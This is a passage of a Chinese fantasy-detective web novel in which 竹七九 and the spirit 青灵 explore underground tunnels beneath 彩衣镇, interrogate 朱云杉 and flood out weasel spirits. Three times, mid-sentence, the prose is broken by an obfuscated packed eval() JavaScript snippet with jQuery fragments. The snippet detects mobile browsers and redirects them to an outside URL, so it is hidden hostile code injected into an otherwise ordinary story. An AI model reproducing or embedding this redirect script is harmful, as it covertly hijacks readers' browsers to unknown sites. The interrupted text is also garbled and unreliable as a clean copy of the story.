“我本来就是人类啊,怎么能跟你们比!这身肉体凡胎这辈子都摆脱不了,我可羡慕死你们了——”
“说什么屁话?我们这副样子都是虚幻的泡影罢了,再怎么修炼,也不能真正变成人形。更不能下山,享受尘世生活。被困在这座山里,有什么可羡慕的?”青灵柳眉一竖,生气的说道。
“这你就不懂了,正所谓,尺有所长,寸有所短,万物皆有两面性,你啊,活了这么多年,还是老样子!”
“用不着你来教训我!”
一人一妖,在树林间慢慢走着。青灵拽了一根狗尾巴草来回摆动,竹七九则掏出酒壶喝了一口,笑道:“每次喝酒的时候,我就会喜欢做人了。”
“滚蛋!”青灵低声骂着,忽然停下脚步,指着前面被铁丝网围住的地方,“这就是你要找的地方?”
“应该是的。”竹七九蹭蹭两下,爬了上去,刚准备回头招呼青灵,只听见呼呼一声风响,那道碧绿色身影已经跃下铁丝网,正在地面上站着,回头冲着他微笑。
哗啦一声,竹七九蹦了下去,抱怨道:“你也不带带我,看这么大动静,万一吵醒里面的人怎么办?”
“我看你动作那么迅速,还以为你新练了什么飞檐走壁的神功呢!”青灵也不示弱,语气里全是嘲讽。
“咳咳——”竹七九干咳两声,转移话题,“你看这地方,像是饲养狐狸的地方吗?”
“怎么可能?”青灵不满地撇嘴,“一点狐狸骚味都没有,这里要是养了哪怕只有一只狐狸,我就彻底服了你,以后你说一不二。”
“这么肯定?那我等会可得好好找找!”竹七九假装夸张的回应,接近房舍后,自觉放轻脚步,不再多言。
几排简易厂房一片漆黑,没有丝毫亮光。青灵眼中绿光一闪,纵身爬上墙面,往那些透气窗里看去,片刻后才爬下来,低声道:“里面没有人,也没有狐狸的影子。而且,地面上有个大坑,不知道他们搞什么名堂。”
“走,进去看看。”竹七九从侧面绕了过去,找到入口,可惜这铁门上挂着一把大铁锁,手腕粗细的铁链子绕了好几道。
青灵见他在门前犯难,上前一把推开他,将右手幻化成一柄泛着青光的短刀,将那铁链一刀斩断。哗啦一声,铁锁失去支撑掉在地上。
“厉害厉害!”竹七九奉承几句,轻轻推开门。屋内黑漆漆一片,什么都看不清楚。青灵修炼多年,一双眼睛更是非比寻常,在这片黑暗中也能正常视物,如同大白天一般。她带着竹七九走到那坑边,往下看去。
“好深啊,我竟然都看不见底。”青灵低呼一声,忽然捂住鼻子,骂道:“这里不是粪坑吧,怎么这么臭?”
“你看下面有大便吗?咱们还能下去吗?”竹七九摸索着边缘,发现这坑四周似乎是砖石堆砌,或许,应该称呼它为‘井’更为合适。
只是这气味熏人,不知道这下面是否有污秽的排泄物。难道说,这个李进学花重金租下这片地方,就为了打几口粪井?
“应该没有那些脏东西!可是,你真的要下去吗?”青灵有些犹豫,见对方一脸坚定,只好拎着竹七九的衣领,一跃而下,在靠近底部时将双腿抵在井壁四周,以减缓下冲速度,直至停止后,她随手将竹七九扔到井底,自己才慢悠悠跳下来。
四周依旧一片漆黑,没有丝毫光亮,空气中的气味似乎更重了,捂住口鼻后这气味也没有丝毫减轻,反而让人有种头晕目眩的不适感,索性也就不在捂着,顺其自然了。
青灵左右看了看,发现井底还有一条通道,大概一米来高,如果不弯腰根本发现不了。
于是拉着竹七九钻了进去,或者说爬更合适。大概钻了十余米,眼前出现一道亮光。青灵首先钻了出去,发现这井底下竟然别有洞天,四周布满各色水晶石,莹润的光芒照亮了整片空间。
竹七九踉跄一下,趴在地上,又猛地站起身,甩着左腿嚷道:“抽筋了!”边甩边看向四周,疑惑道:“又是水晶石!”
面前这片开阔的区域依旧在地底下,前后各有四五条通道,除了身后这条只有一米高,其他几个大都是可供成年人正常通过的高度。
“九景山好像没有什么水晶矿脉啊,哪来这么多水晶石?”青灵也疑惑了,伸手去摸那些石头,冰冰凉凉的,似乎并没有什么特殊的地方。
“这才是奇怪的地方,找来这么多水晶石照明,到底在做些什么勾当——”竹七九仔细观察这些石头的镶嵌位置,想从中看出规律来,结果这些水晶石似乎只是随意摆放,没有丝毫规则可循。
数了数眼前的路,除去身后这条小路,还剩余七条。竹七九前后左右闻了闻,然后指着其中左前方的一条路笑道:“这里面除了臭味,好像还有其他味道,怎么样?要不要试试?”
“大哥,这又不是吃东西,万一试错了,可怎么办?”青灵上前看了看,“除了那股臭味,我倒是没闻到其他的,不过,这里面的确有东西。”
两人对视一眼,往里走去。通道内的墙壁上也镶嵌着不少水晶石,虽然光芒细微,但是比起刚刚那一片黑暗已经好了很多。
不知过了多久,这条通道还在向前延伸。只是空气中水汽逐渐重了起来,墙壁上的灰尘落到地上,变成一层污泥,不一会就沾满鞋底。
竹七九一边走一边在墙壁上蹭着污泥,骂道:“我说怎么这鞋子越来越重,原来是你搞的鬼!”
青灵丝毫不受影响,依旧往前走着,不时看向四周,眼里疑惑更甚。忽然,她停下脚步,叫道:“快过来!你看这是什么?”
哒哒哒——竹七九连忙跑过来,看着眼前的景象,喃喃道:“这是——人的尸骨吧。”
四五具骷髅在甬道边或坐或躺,身上包着一层漆黑的工装服。森白的骨架从袖子里面漏出来,直直伸向竹七九这侧。
“好像是,从里面逃过来的。”青灵眼中有些不安,“还要继续往下吗?”
“都到这里了,能不走下去吗?”竹七九缓步上前,小心翼翼避开这些枯骨。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988052|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逐渐脚下的湿泥变成了浑浊的泥水,周侧的通道像是融化了一般,往下滴着泥块,似乎随时有倒塌的迹象。
很快,泥水到了膝盖位置,青灵再次犹豫起来:“这前面恐怕全都是水,还有什么可看的?”
话虽如此,她却本能的感觉到,前方有股不知名的气压,让她心生惧意。
“再往前一点点,一点点就好。要不,你在这里等我——”竹七九坚持着,独自往前走去。青灵想跟上去,却只觉得双腿像灌了铅似的沉重,再也抬不起来。
哗啦哗啦——水里似乎有鱼类游过,尾巴激起片片浪花。竹七九踏着大腿深的污水,继续往前,终于,他来到甬道的尽头,是一堵墙壁,下面似乎有个一米多高的洞口。
他猛吸一口气,下潜游过去,穿过窄窄的通道,终于身边开阔起来。浮上水面,他大口喘着粗气,周边,是一片漆黑的湖。
空中黑茫茫一片,看不见月亮跟星星。他走到岸边,看着湖面,忍不住惊呆了,漆黑的湖面中央,赫然映着一轮残月。
“这是——”竹七九愣住了,呆呆看着那轮水中月。
此时青灵已经退回到没有水的位置,看着旁边那几具骷髅,低声问道:“你们又是为了什么死在这里了?”
当然没有人回答,时间一分一秒过去,像有几十年那么长。几十年,对于青灵来说不过白驹过隙,弹指一挥间罢了。
她在这九景山,已经记不清到底有几百年了。为什么她不知道具体时间?因为对于她这样的存在来说,时间没有任何意义。
只有寿命短的生物,才会对时间斤斤计较。
水声响动,她连忙站直了身体,凝神看着前方,不一会,竹七九踏着艰难的步伐,浑身湿淋淋的走来,笑道:“别怕,是我。”
“谁怕了?”青灵仰起头,一副嘴硬的样子。
见那几具尸骨孤零零躺在这地底深处,竹七九有些不忍,“不如,我们把他们埋了吧,就在这里,也比暴露在空气中好。”
青灵微微点头,在稍微干燥些的地上帮着一起挖坑。
啪嗒——什么坚硬的东西从尸骨衣服里滑了出来。竹七九捡起来,对着水晶石仔细查看,疑惑道:“这好像是——鱼鳞?”
那东西呈扇形,像贝壳似的,内侧微微凹下去,闪着白色的光,而正面则一片漆黑。摸上去冰凉如玉,闻着似乎还有一股腥气。
“这么大的鱼鳞?我可不知道九景山里有这等大神!”青灵接过那东西,左看右看,又甩给竹七九,“可能是某种贝类的壳吧,这手感,也不像是鱼鳞啊!”
竹七九想起那夜深潭之中,田云霄所见的黑色大鱼,又想起那个传说,飞龙潭里有神仙。难道这鱼鳞是那大黑鱼身上的?那也就是说,这飞龙潭里的神仙,就是那条黑鱼?
如此体积的巨兽,待在这不见天日的潭水深处,又是为了什么?
见他怔怔看着前方,青灵推了一把,说道:“先把他们埋了吧,其他的,等出去再说。”
轻轻叹了口气后,竹七九点了点头,将坑又挖宽了几分。随后和青灵一起,将这几具骨骸上下排好,忽然又意识到了什么,问道:“你刚刚看他们几个,有穿鞋吗?”
“没有啊,只有衣服,怎么了?”青灵惊讶的问道。
37. 第十一章 人行鬼事
眼前这几具尸骸衣衫齐整,竹七九一一检查他们的脚部,发现没有鞋子的踪迹,但是有几个骷髅的脚上竟然还有袜子。
“在地底工作的话,是不是得穿矿工靴?就是那种黑色的胶鞋。”竹七九愣愣的发问。
“你在问我吗?”青灵一脸惊讶,“我怎么知道?我们在这山林中生活,可都是不穿鞋的,就连这身衣服都是幻化出来的——”
“我知道,不过随口一问。”说着,竹七九动手埋坑,很快眼前堆起来一个土包。
等他们从那深坑中出来,天边已经露了鱼肚白,朝阳快要出来了。竹七九与青灵分开后,独自下山,路过那条羊肠小道时,再次碰见那只黑猫,躺在路中央舔着爪子。
喵呜——
黑猫听到动静,立刻直起身子,尾巴倏地翘起,整个一戒备状态。
竹七九从口袋里掏出一根火腿肠,撕开包装,蹲下来逗猫,嘴里不住地说:“好猫咪,过来吃肠肠——”
黑猫犹豫了一会,还是走了过来,轻轻咬在火腿肠的末端,撕下来一截,跑到旁边慢慢享用。
剩下的火腿肠上沾着几丝晶莹的口水,竹七九也不想吃猫嘴里剩下的东西,随手一扔,那火腿肠掉在黑靴子小山上。黑猫一惊,蹭蹭几下跳过来,叼住那火腿肠往旁边一甩。
咔咔——黑猫背上的猫一根根竖起来,尖锐的前牙凸出来,一副生气的模样。
竹七九笑道:“怎么?你是那东西的小弟啊?它自己不敢出来,就派你来当使者了吗?”
黑猫继续龇牙咧嘴的叫着,十分狂躁,爪子在地上来回抓挠,很快,地面出现几道深深的印子。
见它这幅模样,竹七九也收起笑容,冷冷往前一步,抓住黑猫脑袋后面的皮肉,将它轻松提起来,冷笑道:“光在这里叼鞋子有什么用?能解决问题了?我只问你几个问题,要是我说对了,你就点点头,说错了,你就摇头,不然,我今天就把你的脖子拧下来,听清楚了吗?”
黑猫别过脸,一副不想理人的模样,竹七九手上力气逐渐增大,很快,那猫吃痛,眯着眼睛叫起来,连忙点了几下头。
“这些鞋子,是不是从那地底下掏出来的?”
摇头,又点头。
“是那扛锄头的怪物拿给你,然后你叼过来的?”
点头,又摇头。
“你再这样,我就扒了你的皮!”
连连点头。
“那扛锄头的怪物,让你叼这些鞋子放在路边,是不是想警告某个人?”
点头。
“你不去那个人家里,是不是因为找不到?”
摇头。
“是因为你——进不去?”
点头。
“你还记得路线吗?”
点头。
“带我过去。”
连连摇头。
黑猫缩起身子,颤抖个不停,似乎十分害怕那地方。但随着竹七九手上剧烈的摇晃,黑猫顿时晕头转向起来,只好微微点了头。
啪的一声,黑猫被扔在地上,尾巴左右卷了两下,终于重新竖起来。它回头恶狠狠盯着竹七九,又猛地往后缩了一下,原来是竹七九也在恶狠狠地挥舞着拳头。
就这样,一猫一人,一前一后,在林木间穿梭。
傍晚,警察局里已经摆满了外卖盒,竹七九健步走了进来,直嚷嚷肚子饿,随手拿起其中一份,走到窗户边吃起来。
薛暮冉见了,大叫一声:“住手!啊,不对,是住口!那份是我的!”
“那我的份呢?”竹七九可怜巴巴,摆出一副哈巴狗似的表情。
“大师啊,你消失这么久,谁知道你要回来吃晚饭啊,这不,就没买你的那份。”薛暮冉夺过饭盒,又迎上那副小狗儿般温顺的双眼,叹了口气,将饭盒又递回去,“我还是出去吃吧!”
这时,田芸淼走过来,笑嘻嘻的说:“我跟周青语吃一份就行,这个给你吧。”说完,脚步轻快,上楼去了。
自从田云霄眼睛恢复成寻常模样,而且这对兄妹两也解开心结后,田芸淼的心情就变得格外松快,每日都笑容满面。警局里其他不知道情况的同事,还以为她是谈恋爱了,才这么开心。这恋爱对象,自然是最近猛出风头的竹七九。
薛暮冉小声说着警局里的八卦,而身处八卦中心的竹七九却不以为然,笑道:“我倒是无所谓,只怕伤了人姑娘的清誉。”
眼见盒饭见底,竹七九摸了一把肚皮,自言自语道:“感觉没吃饱——”
薛暮冉爽朗一笑:“那我们出去再吃点?我请客!”
“就等你这句话了!”竹七九从窗户上翻下来,催促着打算做东请客的警局后生赶紧拿好钱包出门。
虽然已经夜里七八点钟,街上依旧灯火通明,一些女孩子摆摊卖些玩偶饰品,其他的大都是卖吃食的。
两人选了一处人少的面摊,点了馄饨跟面条,不一会,老板的锅里传出阵阵清冽香味,跟一般的食物香味不同,似乎是植物的味道。
“老板,你这是什么汤底啊,怎么味道这么好闻?”薛暮冉笑着问道。
“这个啊,也没什么啊,就是加了点家里自己种的小葱,调调味——”不一会,面条跟馄饨上桌了,果然,上面点缀着一小撮翠绿色的葱花,味道奇香。
“这么香的葱,肯定得是一块宝地上才能种出来吧,老板家住在哪里呀?”竹七九笑着打趣,掏出筷子在身上擦了擦,打算吃面。
那老板转头笑着说道:“就在北边的护城河边上,地方倒不是什么宝地,从我爷爷辈就住在那里了。以前养了一些鸡鸭,做些小生意。前不久不知道是吃坏了东西还是发瘟,那些家禽死了大半,剩下的也都病恹恹的,不能卖了,无奈,我们才出来摆摊。这小葱啊,大蒜啊,都是最近才种的,就为了省点钱——”
旁边的老板娘也帮腔:“可不是啊,不过说来也奇怪,这些葱蒜什么的长得倒是好,味道也比人家的要香。但是不知道为什么,就是好像不对大家的胃口,所以没几个人过来吃。”
“这样啊——”竹七九吃了口面条,果然,味道奇怪,似乎带着古怪的腥气,难怪没有客人上门了。
薛暮冉倒是没什么感觉,吃完自己那碗馄饨后,连汤汁都喝个精光,又看着竹七九碗里的面条,问道:“大师,你吃不吃啊?”
见他一脸没吃饱的样子,竹七九将面碗推过去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988053|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,继续跟老板搭话:“我倒是学过一些种植这方面的东西,也许是你们那片水变了,所以才导致土地改变。”
“哎呦,真的吗?”老板将手在围裙上擦了擦,走过来问道:“那有办法再改回来吗?”
“这个嘛,得现场看过才知道。我也不太能确定,所以——”摆出为难的表情,竹七九眼角瞥向这对夫妻,感觉对方似乎并不是做戏。
“当然当然,那,不知道您什么时候有空帮我们看看那片地啊,不然,这以后的日子可怎么过啊!”老板一脸苦相,眼睛被烟熏得发红。
“那——等明天我们过去你家那边看看情况,不过,也不一定能帮上什么忙——”
“那可真的太感谢了!”老板娘也走过来,满脸恳切。
第二天,恰好薛暮冉休息,于是两人一起来到北侧的护城河边,沿着河岸走了一会,果然看见一排居民楼。
“果然啊!”竹七九喃喃道。
“大师,你自言自语说些什么呢?”薛暮冉手里捡了一根树枝,在空中随意挥舞着。
“我来过这边,那只黑猫带我过来的。”竹七九缓缓说着。
原来昨天,他威胁那只黑猫带路,一路往北边的护城河边走来,曾经路过这片居民楼。最终,黑猫在一栋独院门口停下,不敢上前半步。竹七九记下地址,就放那只黑猫走了。
“也就是说,那院子里的人就是草鞋妖希望我们找的人?”薛暮冉惊讶道。
“目前来看,似乎是这样。”竹七九蹲下,捏起一块尘土,放进嘴里尝了尝,又吐出来,“不过,这片地方的确有点古怪。”
“是吗?”薛暮冉也学着捏起一块土,在鼻子下面闻了闻,“似乎没什么奇怪的味道啊!”然后也不敢塞进嘴里,随手扔掉。
“这片土地已经受到影响,但是奇怪的是,河水却没问题。”竹七九露出疑惑的表情,四处张望了半天,终于放弃,找了一处树荫坐下,“这附近也没开设什么厂啊之类的,污染究竟是哪里来的呢!”
“可是这土地看着挺正常的啊,难道味道变了?变得难吃了?”薛暮冉在地上踩了踩,无法理解竹大师是怎么判断出来土地受污染的。
“你也听那对夫妻说了,家禽忽然接二连三死亡,葱蒜类的植物却生长旺盛,可惜气味虽好,味道却怪异。这一切迹象都表明了,这地方土质肯定有所变化。原本我以为是受到水源的影响,可是护城河是相通的,不可能就这一片遭到污染。而这一片又没有其他湖泊河流,所以——”
“所以?我觉得那些大葱挺好吃的啊,哪里受到污染了?”
“你估计没有味觉吧!”竹七九白了他一眼,“我猜测,这污染可能来自地底下。”
他想起前夜跟着青灵下到深坑中的情形来,那些通道四通八达,根本不知道延伸到了何处,也许已经将整个彩衣镇贯穿了也说不准。
“地底下?地狱之火吗?”薛暮冉脑洞大开,“难不成是地府的火焰烧上来,改变了这片土地?”
“别扯这些了,人地府老爷才懒得管上面人的事情。这件事肯定是人为,而且,总感觉这背后有个巨大的阴谋,只是现在我还不知道对方到底想做什么。”
38. 第十二章 狐狸之争
“对了,你说黑猫带你去的那户人家,信息查清楚了吗?”薛暮冉忽然问道。
“这也是我想拜托你的事情,我问了一圈,那附近的人都说不清楚那座大院里到底住着什么人,所以还得拜托你去查一下——”
“没问题,反正这边也查不出来什么了,不如先回去吧,跑了一上午我也饿了——”薛暮冉摸着肚子,一脸饥饿难耐的模样。
眼下在这里也无事可做,竹七九无奈的耸耸肩,两人只好打道回府。
下午,那栋宅院的所有者信息很快查明,竟然是朱云杉。那日在厢竹酒家,朱云杉一脸信誓旦旦,说矿场已经租给外乡人李进学来饲养狐狸。可是后来,竹七九将那矿场翻了个遍,连根狐狸毛也没看见,反而在地底下发现好几条通道,以及几具白骨。
“这人十分可疑啊!”薛暮冉做出总结。
“这个李进学,能查到信息吗?”竹七九随口问着。
“没有,注册在案办企业的人员名单里面,没有这个人。如果真的是外乡人过来租借场地,也是需要过来登记的,照目前来看,九景山东面的那片地,还是挂在朱云杉名下。”
“我就猜到了,只怕这个李进学也是他随口编的。那天看他那么紧张,还以为他没什么心机,没想到,也许对方正是抓住了我们这个心理,故意装出来那副样子。”竹七九有些懊悔,转眼又笑起来,“不过这样也好,至少,现在我们知道了,他的确不正常。就可以缩小范围了。”
“如果真像你说的,那地底的通道已经贯穿彩衣镇,乖乖!那得多长啊,从南边的九景山,一路到最北边的护城河,这么大动静,不可能没有人发觉的。”薛暮冉拿了张彩衣镇的地图,一路从上往下比划着。
“人力自然不行,如果对方借助的,是另一个世界的力量呢?”
“你是说,山里那些怪物?不对,是物怪?还是那些妖怪?哎呀,我都分不清了——”薛暮冉干脆放弃。
“你啊,理解力真差!”竹七九好笑的解释起来,“所谓‘怪物’,自然就是不寻常之物。物怪,是寻常之物变得不寻常。至于妖怪嘛,可以简单理解为,普通的生物经过修炼,变成更高级别的生物。”
“那物怪为什么不能算成妖怪呢?”
“其实要真论起来,物怪也是妖怪的一种,只是,算是歪门邪道里的那类,所以一般的妖怪不喜欢将物怪算进他们那类里面。”
“那——”薛暮冉想起那夜的青衣女子,“妖怪也会变成普通人类的样子吗?”
“当然了,有的妖怪毕生所愿就是变成人类,来这尘世间走一遭——”竹七九笑了,“都是执念,人类有什么可变的,寿命又短,能力又弱——”
“大师,你怎么能这么贬低自己呢!咱们也有厉害的啊,你看那些科学家,能造武器,能上外太空,多牛啊!”
“也是!”竹七九哈哈一笑,“咱们也不能妄自菲薄,尺有所长寸有所短嘛!”
忽然间,竹七九捡起一粒石子往门口打去,薛暮冉一惊,看向门口,只瞥见一道淡黄色的影子一溜烟闪过,也不知道是个什么东西。
“那是什么?”两人一起往门口跑去,马路上空空如也,连个人影子都看不见,在往远处,就是小吃街,人声鼎沸。只是这么短的时间内,任凭是谁,也不可能一瞬间就跑出几百米的距离。
“没看清,好像是只小动物。”竹七九眉头紧锁,“看来,对方已经发现我们了,这东西,跟那只黑虫怕是差不多的功能,来监视我们行动的。”
“那怎么办?”薛暮冉顿时紧张起来,上次的黑虫事件将整个警局折腾的够呛,现在好不容易一切恢复正常了,他可不想再经历一次。
“你查到那批狐狸毛皮的来源了吗?”
“查到了,好像是从外地买了一批狐狸回来,还盖了几间屋子,做养殖场。”
“既然买狐狸回来是打算饲养,那狐狸皮是外面买的吗?”竹七九被这些人的套路绕的脑袋快要晕了,有些无奈的靠在门边。
“据说是,开始打算养,结果狐狸死了一批,就给扒皮拿去卖了,还剩一些在养着呢。我也去看过,都关在笼子里,一股子臭味——熏死人了!哦——对了,岳冬来家养狐狸的地方,就在北边护城河畔。”
“护城河边上,臭味,狐狸的臭味,不,那不是狐狸的味道,反而像是——对,是它!”竹七九像是想通了什么,猛摇薛暮冉,笑道:“原来如此啊!”然后呲溜一声跑上街,没了影儿。
夜里,朱家大宅,竹七九翻进院子,小心的靠近墙角,听见里面朱云杉正在说话:“行了,今天就这样,剩下的明天再说。”
接下来传出来关门的声音,接着,一行身穿西装的老少爷们从屋内鱼贯而出,穿过院子离开。竹七九藏在树丛后面,直到那些人已经走远,才转身进屋。
咚咚咚——
“谁啊?”朱云杉嚷了一声。
“是我,刚刚有个文件落下了。”
推开门,朱云杉抬头一看,惊讶的瞪大眼睛,“怎么是你?你来做什么?”慌慌张张那起电话机,却被对方按住。
“朱大少,上次你可骗得我好惨啊!”竹七九冷冷笑着。
朱云杉眼神闪躲,双手在桌子下面来回摸索,忽然抽出一把短刀,刺向对方的脖子,叫道:“去死!”
咔嚓一声,手腕被对方捏住,差点当场断裂,刀子也掉在猩红的地毯上,被竹七九伸脚踩住。
“你要是不配合,这把刀可就得落在你身上了!”竹七九一推,将朱云杉扔在座椅上,顺手捡起地上的短刀,仔细看起来,忍不住惊呼一声:“好刀!”
刀身不过两指长,呈现完美的弧线形,刀锋锐利,吹发可断,刀柄处雕着二龙戏珠的图案,两条金龙的嘴巴中间,镶嵌着一颗淡紫色的珍珠。
“你要是喜欢,就送你吧!”朱云杉讨好的笑着,从桌底下掏出刀鞘双手奉上。
“这是自然,你就算不给,又能怎么样?”竹七九自然地接过刀鞘插上,塞进腰间别住,继续问道:“你说那片矿产租给李进学,这个人是你编造的吧?”
“这个——”朱云杉汗如雨下,一边揉着手腕,一边拿手袖擦汗,“这个我都是交给
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988054|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手下人去做的,我也不清楚!”
“哦,那要不要试试这把刀?”寒光一闪,短刀已经立在朱云杉面前的桌上。
“我——我说,是,李进学是假的,但是那片地的确租给别人了,对方让我保密,我只能这么说。”
“租给谁了?”
“这——”朱云杉眼珠子左右来回转动,一张白脸因为紧张而涨的通红,嘴边那圈黑胡茬被汗水浸湿,又被主人来回擦拭,变得根根竖起,歪七扭八,整个人看上去分外滑稽。
刀尖在桌子上划来划去,很快,红木桌面变成小姑娘的大花脸,布满了刀痕。
“租,租给岳东来了,他说要养狐狸,还让我不要声张,不然就断绝生意往来,我也是没办法啊!他们岳家霸占着码头,现在交通不便,我们都得依仗他家才有生意做。”
“果然是他,可是,岳冬来家的场子并没有建在九景山那边,你难道都不奇怪吗?”竹七九将刀收起,“岳家养狐狸的场子,建在北边护城河边上了。”
“那我也管不了啊,岳大少想在哪里养狐狸,就在哪里养嘛,反正我地方租出去了,也有钱拿——”只感觉对方目光变得阴寒,朱云杉讪笑一声,抬起头,果然,竹七九正瞪着他。
“我——我错了,我不租那地了,行吗?我什么都不要了!”朱云杉双手作揖,圆眼睛里满是泪水。
“不,你现在还要继续租给岳家那片地,今天的事情,你也不许对任何人说,不然,你知道后果!”竹七九在口袋里掏出一只蛋白色蠕虫,奸诈的笑着,“这可是听话虫,你的一言一行都会被它监视,今天的事,你只要说出去一个字,这只虫就会咬烂你的心脏。”
说罢,捏开朱云杉的嘴,将那只虫子灌了进去。
猛咳两声后,朱云杉弯腰扣着自己的喉咙,尖叫道:“好恶心!好恶心!我最怕虫子了!”然后捂着肚子打起滚来。
见他一副痛苦的样子,竹七九掏出一粒米黄色的丸药,说道:“这个可以暂时止住痛苦,每隔七天,就会发作一次,记得过来跟我拿药,就定在厢竹酒家,如果错过,可别怪我没提醒你!”
吞下丸药,朱云杉慢慢直起腰,哭丧着脸说道:“我保证不会说出去,能不能把虫子取出来?太恶心了!”
“等我办完这件事,这虫子自然会取回,只是,在这之前,今晚的事,你得保密,这虫子也只是辖制你的一种手段。”竹七九狡黠一笑,“对了,你家在北面护城河边的那栋房产,现在是谁在住着?”
“哪一栋啊?北面有好几户房产呢!”朱云杉摸着喉咙,干咳几声,想呕出那只虫子,结果以失败告终。
“就是北河路上的那栋独门宅院。”
“那个啊——”朱云杉歪着头想了想,“租给岳冬来了,跟那片矿产一起租给他了。”
“又是他——到底想做什么——”竹七九喃喃自语。
“你到底要做什么啊?”朱云杉哭丧着脸询问。
“拯救彩衣镇,我想,你也不想这个镇子被毁掉吧?”竹七九坐在桌子上,看着窗外随风飘荡的树木阴影,笑着问道。
39. 第十三章 地狱之水
五月二十九日,已经是月末,空中月光暗淡,星光却异常璀璨,像是无数金色的萤火虫飘在空中,发挥着最后的光和热。
九景山东边,青灵守在那片简易厂房边,时刻观察动静。另一侧,竹七九趴在某处房屋顶上,仰着面欣赏这满天繁星。
屋下,传来说话声。
“黄先生,已经准备好了,请您指挥。”
紧接着一阵窸窸窣窣的动静,似乎有无数动物沿着地面奔跑。很快,动静平息,一切归于寂静。
两人一前一后的的脚步声也渐行渐远。远处,一道明亮的绿色烟花在夜空中炸开,四溅的火花又再次爆炸,像无数的星子掉落人间。
竹七九微微一笑,翻身越下屋顶,三两下跳出院墙,走进黑暗中,拔出酒壶塞子,喝起酒来。
咕咚——咕咚——
某处湖泊边上,不知何时,架起了一座高大的抽水机,一根比成人还粗的塑胶管连接在机器前方,一股股河水被吸进去,沿着细长的管道,不断鼓动着,往前延伸。
厂房大门已经被打开,管道悄无声息的搭在门边,鼓起粗壮的身子,往前输送水源。轰隆隆,水花像小瀑布似的往下流淌。不知过了多久,竹七九坐在黑暗的墙角边,看着眼前的大院冲天飞起一道水柱,将厂房屋顶都掀翻开来。
他笑了,顺着水流冲出来的,还有无数黄色的小尸体。其中有一只恰好漂到眼前,他伸出脚勾住,仔细一看。这东西细细扁扁的身材,黄色的毛发,嘴边生着一圈白毛。
“果然是你!”他起身越上院墙,看见那厂房边上站了一黑一黄两个人影,正焦急的看着厂房里面。
于是出声大笑道:“哎呀,真奇怪,是不是这群小崽子挖到地下水了啊?”
岳冬来穿着一身黑衣,此时听见声音,立刻抬头四处观望,发现竹七九的身影后,怒目圆睁,原本英俊的脸庞带上几分凶狠:“原来是你!”
那个穿一身黄衣服的人也转过头,短促的脸上急速变化,生出一圈黄毛,双手指甲伸长,弯下腰,顺着墙壁飞速爬过来。
竹七九连忙起身避开,跳到一旁立住:“我说呢,怎么养狐狸没有狐狸的骚味,反而臭不可闻,原来是为了隐藏你们啊!黄大仙?”
那黄衣怪人已经飞速转身,往竹七九身边掠来。被他堪堪避过,刚准备出言嘲笑,只听见噗——的一声细响,一股说不清道不明的臭味袭来,一下子熏蒙了竹七九的眼睛跟鼻子。
紧接着腹部一阵剧痛,原来那怪人已经直冲冲撞了过来,俩只手凌空一挥,竹七九只觉得脸颊剧痛,身上衣服也裂了几个口子。
情急之下,在口袋里掏出一把驱虫粉末,往空中一抛。那怪人惯性避开,趁此机会,竹七九飞下墙壁逃走。
黄衣人刚准备去追,被岳冬来拉住:“黄先生,眼下还有更重要的事情要做。”
看着满地黄鼠狼尸体,那黄衣人眼中悲痛异常,落下滚滚热泪,他弯腰抱起一只,也不顾地上的水流,跪倒在地上,哭道:“都是我害了你们!”
岳冬来也捏紧拳头,重重捶在墙壁上,血液顺着手指缝滴落在水里,跟着那些小尸体,堆积在墙角。
薛暮冉指挥警局众人,在九景山南面那片潭水的岸边搭设一架巨型抽水机,去隔壁村借了超长的管道,这才能将源源不断的湖水送进九景山东边的这几间厂房里的深坑之中。
在青灵感知到地底下的异动,点燃烟花后,薛暮冉也打开抽水机的开关。果然不出所料,这下面的通道已经贯穿彩衣镇南北,只怕,东西方被连通也只是早晚的事。
水流从九景山东边这片矿场进入,从彩衣镇北边冒出来,淹死了无数黄鼠狼,想想,也真是一件奇事。
直到灌满这些深坑,薛暮冉才关上抽水机,带着这群同事打道回府。在警局门口,发现身受重伤的竹七九。
他脸上身上全是血,已经失去意识。
经过周医生的治疗,第二天,竹七九就能下床活动,他一边吃着稀饭,一边夸赞薛暮冉做事靠谱。
“可是,我还是不懂,这样做到底是为了什么?”薛暮冉坐在病床边,问道。
“你还记得,上次我们为了找吉云草,去到另一个飞龙潭边的事情吗?”竹七九喝完稀饭,又吃起馒头,“我们四个人进去另一个世界的办法,这群人不知道,所以,他们选了一个最简单粗暴的法子——”
薛暮冉呆呆的听着,“你是说,他们打算挖穿彩衣镇?”然后满脸震惊,看着竹七九。
